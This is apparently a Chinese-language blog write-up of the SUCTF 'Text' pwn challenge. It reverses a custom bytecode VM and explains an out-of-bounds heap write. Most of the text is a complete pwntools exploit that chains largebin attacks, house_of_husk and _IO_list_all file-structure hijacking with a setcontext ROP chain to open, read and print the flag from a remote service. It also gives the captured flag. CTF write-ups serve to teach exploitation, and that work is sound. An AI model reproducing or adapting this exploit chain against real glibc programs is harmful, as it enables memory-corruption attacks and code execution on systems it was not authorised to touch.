SUctf-Text


check

逆向分析

opcode:

byte0:

1:菜单堆:

add_note : p8(1) + p8(0x10) + p8(idx) + p32(size)
free_note : p8(1) + p8(0x11) + p8(idx)

2: alu

alu2 : p8(2) + p8(idx) + p8(16)
add: p8(2) + p8(idx) + p8(16) + p8(0x10) + p32(num1) + p32(num2) #存放到note的第一个int中
sub: p8(2) + p8(idx) + p8(16) + p8(0x11) + p32(num1) + p32(num2) #num1-num2
mul: p8(2) + p8(idx) + p8(16) + p8(0x12) + p32(num1) + p32(num2)
div: p8(2) + p8(idx) + p8(16) + p8(0x13) + p32(num1) + p32(num2) #num1 / num2
store: p8(2) + p8(idx) + p8(16) + p8(0x14) + p32(offset) + p64(con) #*(note+offset)=con
load: p8(2) + p8(idx) + p8(16) + p8(0x15) + p32(offset) + p64(0) #将note中的内容存放到指令空间中
show: p8(2) + p8(idx) + p8(16) + p8(0x16) + p32(offset) #打印load的数据

alu1 : p8(2) + p8(idx) + p8(17)
rsh: p8(2) + p8(idx) + p8(17) + p8(0x10) + p32(num1) + p32(num2) #会使得note指针逐渐增加
lsh: p8(2) + p8(idx) + p8(17) + p8(0x11) + p32(num1) + p32(num2)
xor: p8(2) + p8(idx) + p8(17) + p8(0x12) + p32(num1) + p32(num2)
or: p8(2) + p8(idx) + p8(17) + p8(0x13) + p32(num1) + p32(num2)
and: p8(2) + p8(idx) + p8(17) + p8(0x14) + p32(num1) + p32(num2)

3: exit

调试

走house_of_husk取函数指针的汇编代码如下:

0x00007f59f2267950:	mov    rsi,QWORD PTR [rax+rdx*8]
0x00007f59f2267954: test rsi,rsi
0x00007f59f2267957: jne 0x7f59f22677a8

0x00007f59f22677a8: movsxd rdx,DWORD PTR [r15+0x30]
0x00007f59f22677ac: mov rcx,QWORD PTR [r15+0x38]
0x00007f59f22677b0: mov r8,r15
0x00007f59f22677b3: mov rdi,r14
0x00007f59f22677b6: mov rax,QWORD PTR [rbp-0x8b8]
0x00007f59f22677bd: mov DWORD PTR [rbp-0x938],r9d
0x00007f59f22677c4: shl rdx,0x4
0x00007f59f22677c8: mov BYTE PTR [rbp-0x930],r10b
0x00007f59f22677cf: add rdx,rax
0x00007f59f22677d2: mov BYTE PTR [rbp-0x8d0],r11b
0x00007f59f22677d9: call 0x7f59f22646e0
0x00007f59f22677de: movzx r11d,BYTE PTR [rbp-0x8d0]
0x00007f59f22677e6: movzx r10d,BYTE PTR [rbp-0x930]
0x00007f59f22677ee: cmp eax,0xfffffffe
0x00007f59f22677f1: mov r9d,DWORD PTR [rbp-0x938]
0x00007f59f22677f8: je 0x7f59f226795d
0x00007f59f22677fe: test eax,eax
0x00007f59f2267800: js 0x7f59f22674a0
0x00007f59f2267806: mov rsi,QWORD PTR [r15+0x18]
0x00007f59f226780a: mov rdx,QWORD PTR [r15+0x20]

题目分析

对于位运算等操作,有指针的递增,因此在store指令时offset就可以越界啦;

因此存在一个越界写;

本题只有_exit所以直接走IO_list_all是不行了;然而本题的malloc_assert存在一个writev系统调用,导致被ban了,所以也不行;

最后的解决方案是,首先利用largebin attack覆盖IO_list_all,并布置相关的结构体;之后继续利用两次largebin attack,覆盖printf_table和arg_table,走house_of_husk,将控制流劫持到exit,然后走IO_list_all;

攻击成功

SUCTF{C0n6r47u14710n5_0n_831n6_7h3_m4573r_0f_p01n73r_m0v3m3n7}

exp

from pwn import *
import sys

file = "./pwn"
if len(sys.argv) == 1 or sys.argv[1] == 'l':
sh = process(file)
elif sys.argv[1] == 'r':
sh = remote("1.95.76.73", 10011 )
elf = ELF(file)

def ru(string):
sh.recvuntil(string)
def dbg(con=''):
if len(sys.argv) > 1 and sys.argv[1] == 'r':
return
if isinstance(con, int):
con = "b *$rebase(" + hex(con)+")"
gdb.attach(sh, con)
pause()
def sl(content):
sh.sendline(content)
def itr():
sh.interactive()
context.log_level = 'debug'
def get_heap():
res = 0
res = u64(sh.recvuntil("\x55", timeout=0.2)[-6:].ljust(8, b'\x00'))
if res == 0:
res = u64(sh.recvuntil("\x56", timeout=0.2)[-6:].ljust(8, b'\x00'))
return res
def get_libc():
res = 0
res = u64(sh.recvuntil("\x7f", timeout=0.2)[-6:].ljust(8, b'\x00'))
if res == 0:
res = u64(sh.recvuntil("\x7e", timeout=0.2)[-6:].ljust(8, b'\x00'))
return res
def get_tcache():
res = u64(sh.recvuntil("\x05")[-5:].ljust(8, b"\x00"))
return res

def add_note(idx, size):
return p8(1) + p8(0x10) + p8(idx) + p32(size)
def free_note(idx):
return p8(1) + p8(0x11) + p8(idx)

def add(num1, num2):
return p8(16) + p8(0x10) + p32(num1) + p32(num2)
def sub(num1, num2):
return p8(16) + p8(0x11) + p32(num1) + p32(num2)
def nul(num1, num2):
return p8(16) + p8(0x12) + p32(num1) + p32(num2)
def div(num1, num2):
return p8(16) + p8(0x13) + p32(num1) + p32(num2)
def store(offset, con):
return p8(16) + p8(0x14) + p32(offset) + p64(con)
def load(offset):
return p8(16) + p8(0x15) + p32(offset) + p64(0)
def show(offset):
return p8(16) + p8(0x16) + p32(offset)

def rsh(num1, num2):
return p8(17) + p8(0x10) + p32(num1) + p32(num2)
def lsh(num1, num2):
return p8(17) + p8(0x11) + p32(num1) + p32(num2)
def _xor(num1, num2):
return p8(17) + p8(0x12) + p32(num1) + p32(num2)
def _or(num1, num2):
return p8(17) + p8(0x13) + p32(num1) + p32(num2)
def _and(num1, num2):
return p8(17) + p8(0x14) + p32(num1) + p32(num2)

def cal_alu(idx):
return p8(2) + p8(idx)

def func():
ru("Please input some text (max size: 4096 bytes):")

code = add_note(0, 0x480) + add_note(1, 0x4a0) + add_note(2, 0x480) + add_note(3, 0x480) + add_note(4, 0x480)
code += free_note(1) + add_note(5, 0x4f0) + free_note(3)
code += cal_alu(0) + _xor(1, 1) * 0x40 + load(0x398) + show(0x100000000-0xe) +load(0x3a8) + show(0x100000000-0xe)+ p8(0) + p8(3)
sh.send(code)

addr = get_libc()
large = addr
heap = get_heap()
system = addr - 0x1ab800
libc = ELF("./libc.so.6")
base = system - libc.sym['system'] + 0x10
print("addr :", hex(addr))
print("base :", hex(base))
print("heap :", hex(heap))
listall = base + libc.sym['_IO_list_all']
stderr = base + libc.sym['stderr']
function_table = base + 0x205660
arg_table = base + 0x205668
print("function_table :", hex(function_table))
print("arg_table :", hex(arg_table))


chunk1 = heap
chunk3 = heap+0x4b0+0x490

code = cal_alu(0)
code += _xor(1, 1) * 0x40 + store(0x3a8, arg_table-0x20)
code += p8(0) + add_note(6, 0x4f0)

code += p8(3)




ru("Please input some text (max size: 4096 bytes):")
sh.send(code)

#============================ 修复双链表 =====================================================
code = cal_alu(0)
code += _xor(1, 1) * 0x40 + store(0x3a0, chunk3)
code += p8(0)
code += cal_alu(2)
code += _xor(1, 1) * 0x40 + store(0x3a8, chunk1)
code += p8(0)

code += p8(3)

#==========================================================================================================
ru("Please input some text (max size: 4096 bytes):")
sh.send(code)


#==========================================================================================================

code = add_note(7, 0x480) + free_note(7)
code += cal_alu(0)
code += _xor(1, 1) * 0x40 + store(0x3a8, function_table-0x20)
code += p8(0)+ add_note(8, 0x4f0)

#============================ 修复双链表 =====================================================
code += p8(3)


#==========================================================================================================
ru("Please input some text (max size: 4096 bytes):")
sh.send(code)


code = cal_alu(0)
code += _xor(1, 1) * 0x40 + store(0x3a0, chunk3)
code += p8(0)
code += cal_alu(2)
code += _xor(1, 1) * 0x40 + store(0x3a8, chunk1)
code += p8(0)
code += free_note(8) + free_note(6)
code += p8(3)
ru("Please input some text (max size: 4096 bytes):")
sh.send(code)



jumps = base + libc.sym['_IO_wfile_jumps']

#0x0000000000176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
magic = base + 0x0000000000176f0e
pop_rdi_ret = base + 0x000000000010f75b
pop_rsi_ret = base + 0x0000000000110a4d
pop_rdx_ret = base + 0x00000000000ab891 #or byte ptr [rcx - 0xa]
pop_rcx_ret = base + 0x00000000000a876e
pop_rax_ret = base + 0x00000000000dd237
setcontext = base + libc.sym['setcontext']
syscall = base + 0x98fa6
ret = base + 0x000000000002882f
_open = base + libc.sym['open']
_read = base + libc.sym['read']
_write = base + libc.sym['write']

code = add_note(3, 0x480) + free_note(3)
code += cal_alu(0)
code += _xor(1, 1) * 0x40 + store(0x3a8, listall-0x20)
code += p8(0)+ add_note(8, 0x4f0) + free_note(8)
code += add_note(3, 0x480)


#先修复chunk1
code += cal_alu(0)
code += _xor(1, 1) * 0x40 + store(0x3a8, chunk1)
code += p8(0)
code += p8(3)

print("function_table :", hex(function_table))
print("arg_table :", hex(arg_table))
print("len ==", hex(len(code)))
print("magic :", hex(magic))


ru("Please input some text (max size: 4096 bytes):")
sl(code)

#申请chunk1 伪造结构
code = add_note(1, 0x4a0)
code += cal_alu(1)
for i in range(4):
code += store(i*8, 0)
code += store(0x28-0x10, 1)
code += store(0x88-0x10, chunk3+0x1000)
code += store(0xa0-0x10, chunk1)
code += store(0xd8-0x10, jumps)
code += store(0xe0-0x10, chunk1)
code += store(0x68-0x10, magic)

code += store(0x38-0x10, chunk1+0x10+0x200)
code += store(0x200+0x20, setcontext+61)
code += store(0x200+0xa0, chunk1+0x10+0x300)
code += store(0x200+0xa8, ret)

#code += store(0x280-0x10, 0x7478742e67616c66) #flag.txt
code += store(0x280-0x10, 0x67616c66) #flag

code += store(0x300, pop_rdi_ret)
code += store(0x308, chunk1+0x280)
code += store(0x310, pop_rsi_ret)
code += store(0x318, 0)
code += store(0x320, pop_rax_ret)
code += store(0x328, 2)
code += store(0x330, syscall)
code += store(0x338, pop_rdi_ret)
code += store(0x340, 3)
code += store(0x348, pop_rsi_ret)
code += store(0x350, chunk1+0x1000)
code += store(0x358, pop_rcx_ret)
code += store(0x360, chunk1)
code += store(0x368, pop_rdx_ret)
code += store(0x370, 0x100)
code += store(0x378, pop_rax_ret)
code += store(0x380, 0)
code += store(0x388, syscall)
code += store(0x390, pop_rdi_ret)
code += store(0x398, 1)
code += store(0x3a0, pop_rsi_ret)
code += store(0x3a8, chunk1+0x1000)
code += store(0x3b0, pop_rcx_ret)
code += store(0x3b8, chunk1)
code += store(0x3c0, pop_rdx_ret)
code += store(0x3c8, 0x100)
code += store(0x3d0, pop_rax_ret)
code += store(0x3d8, 1)
code += store(0x3e0, syscall)

code += p8(0)
code += p8(3)
ru("Please input some text (max size: 4096 bytes):")
sl(code)



code = cal_alu(3)
code += store(0x320-0x10, base+libc.sym['exit'])
code += p8(0)
code += p8(3)
ru("Please input some text (max size: 4096 bytes):")
sl(code)

itr()





if __name__ == "__main__":
func()


文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录